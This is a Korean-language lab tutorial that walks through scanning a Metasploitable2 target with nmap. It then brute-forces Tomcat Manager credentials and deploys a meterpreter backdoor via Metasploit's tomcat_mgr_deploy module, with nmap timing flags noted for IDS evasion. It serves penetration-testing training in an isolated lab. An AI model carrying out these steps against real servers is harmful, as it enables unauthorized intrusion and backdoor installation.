Kali Linux 에서 Nmap 을 이용한 Tomcat 취약점 공격

NmapBeginner
지금 연습하기

소개

이 랩에서는 Tomcat 취약점 악용의 원리와 공격 과정을 배우게 됩니다. 공격 과정에서 Kali Linux 를 사용하는 방법과 Kali 의 공격 프레임워크인 Metasploit Framework (MSF) 를 이해하게 됩니다. 이 랩에서 침투할 대상 머신은 LabEx 에서 제공하는 Kali 환경을 기반으로 하는 Metasploitable2 입니다.

대상 머신의 네트워크 취약점 스캔

일반적인 침투 테스트에서 우리는 대상 머신을 추가로 공격해야 합니다. 가장 먼저 해야 할 일은 대상 머신에 대한 침투 스캔을 수행하는 것입니다. 스캔 과정에서 머신이 제공하는 서비스를 발견하고, 사용 가능한 정보를 기반으로 취약점의 존재 여부를 판단할 수 있습니다. 다음으로, 잠재적인 취약점을 침투하려 시도하고 궁극적으로 대상 머신을 손상시켜 취약점을 획득합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

  1. 그런 다음 msfconsole 을 시작하고 작업 인터페이스에 들어갑니다.
cd ~
msfconsole
  1. 스캔 단계에서 Nmap 은 매우 유용한 스캔 도구입니다. 취약점 스캔 과정에서 분석을 통해 잠재적인 취약점을 분석하고 시도할 수 있습니다. 여기서는 다음 명령을 사용하여 대상 머신에 대한 침투 스캔을 수행합니다.
nmap -sV -T5 target

위 명령에서 -T는 스캔 속도를 설정합니다.

매개변수 의미
nmap T0 매우 느린 스캔, IDS (Intrusion Detection System) 회피에 사용
nmap T1 느린 스캔, 0 과 2 사이의 속도, 일부 IDS 회피 가능
nmap T2 감소된 스캔 속도, 일반적으로 사용되지 않음
nmap T3 기본 스캔 속도
nmap T4 대상에 플러딩을 일으킬 수 있으며, 방화벽을 트리거할 가능성이 높음
nmap T5 미친 스캔 속도, 속도를 위해 정확성을 희생

Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.

Tomcat 비밀번호 무차별 대입 공격 (Brute-force)

이 단계에서는 Tomcat 취약점을 악용하기 시작합니다. 특정 사용자 이름과 비밀번호 집합을 사용하여 Tomcat Manager 에 로그인하려는 auxiliary/scanner/http/tomcat_mgr_login 모듈을 사용합니다. 로그인이 성공하면 결과를 출력합니다.

공격 모듈 코드:

스캔 결과에서 포트 8180이 열려 있는 것을 확인할 수 있습니다. 이 포트를 공격해 보겠습니다. 먼저, MSF 터미널에서 Tomcat 모듈을 검색하여 해당 취약점 모듈이 있는지 확인합니다.

  1. 우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. search 를 사용하여 적절한 모듈을 찾습니다.
search tomcat
  1. use 명령을 사용하여 적절한 모듈을 선택합니다.
use auxiliary/scanner/http/tomcat_mgr_login
  1. 설정해야 할 매개변수를 표시합니다.
show options
  1. 그런 다음, 설정해야 할 필수 매개변수를 확인하고 set 명령을 사용하여 매개변수를 설정합니다.
set RHOSTS 192.168.122.102
  1. 포트 정보를 설정합니다.
set RPORT 8180
  1. 다음으로, 명령을 사용하여 공격하고 비밀번호를 무차별 대입합니다.
exploit

Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.

Tomcat 비밀번호를 이용한 침투 시도

해당 모듈에서 Tomcat 비밀번호를 획득한 후, 이 비밀번호를 사용하여 대상 머신을 침투합니다. Tomcat Manager 에 로그인하여 페이로드를 실행하는 exploit/multi/http/tomcat_mgr_deploy 모듈을 사용합니다. 이 페이로드는 PUT 작업을 사용하여 WAR 패키지를 업로드하며, 이 WAR 패키지에는 meterpreter 백도어 쉘을 제공하는 JSP 파일이 포함되어 있습니다.

공격 모듈 코드:

  1. 우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. 적절한 모듈을 검색합니다.
search tomcat
  1. 그런 다음, 적절한 공격 모듈을 선택합니다.
use exploit/multi/http/tomcat_mgr_deploy
  1. show 명령을 사용하여 필요한 매개변수를 확인합니다.
show options
  1. 대상 호스트 주소와 공격할 포트를 설정합니다.
set rhost 192.168.122.102
  1. 포트 정보를 설정합니다.
set rport 8180
  1. httpusername 계정 이름을 설정합니다.
set httpusername tomcat
  1. httppassword 비밀번호를 설정합니다.
set httppassword tomcat
  1. 그런 다음, 공격을 수행합니다 (약 1 분 정도 걸릴 수 있습니다).
exploit
  1. 좋습니다. 이제 대상 머신을 침투했습니다. 다음으로, 성공적인 침투를 확인합니다. 성공적인 명령줄 터미널에서 다음 명령을 입력합니다.
sysinfo

whoami를 입력하지 마십시오. 여기에서 사용된 meterpreter 페이로드는 hostname, id, whoami 등과 같은 명령을 지원하지 않기 때문에 오류가 발생합니다. help 명령을 사용하여 지원하는 명령을 확인할 수 있습니다:

다음과 같이 운영 체제 정보가 표시됩니다.

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.

요약

이 랩에서는 Tomcat 취약성의 원리와 이를 공격하는 과정을 배웠습니다. 일반적으로 침투 테스트 전에 대상 머신에 대한 정보를 수집해야 합니다. 정보 수집 과정에서 취약점을 더 잘 발견하고 대상 머신을 침해할 수 있습니다. 이 랩을 완료한 후 다음 지식을 습득해야 합니다.

  • Tomcat 취약성의 원리
  • Nmap 스캔 사용법
  • MSF 공격 과정
  • 성공적인 공격 검증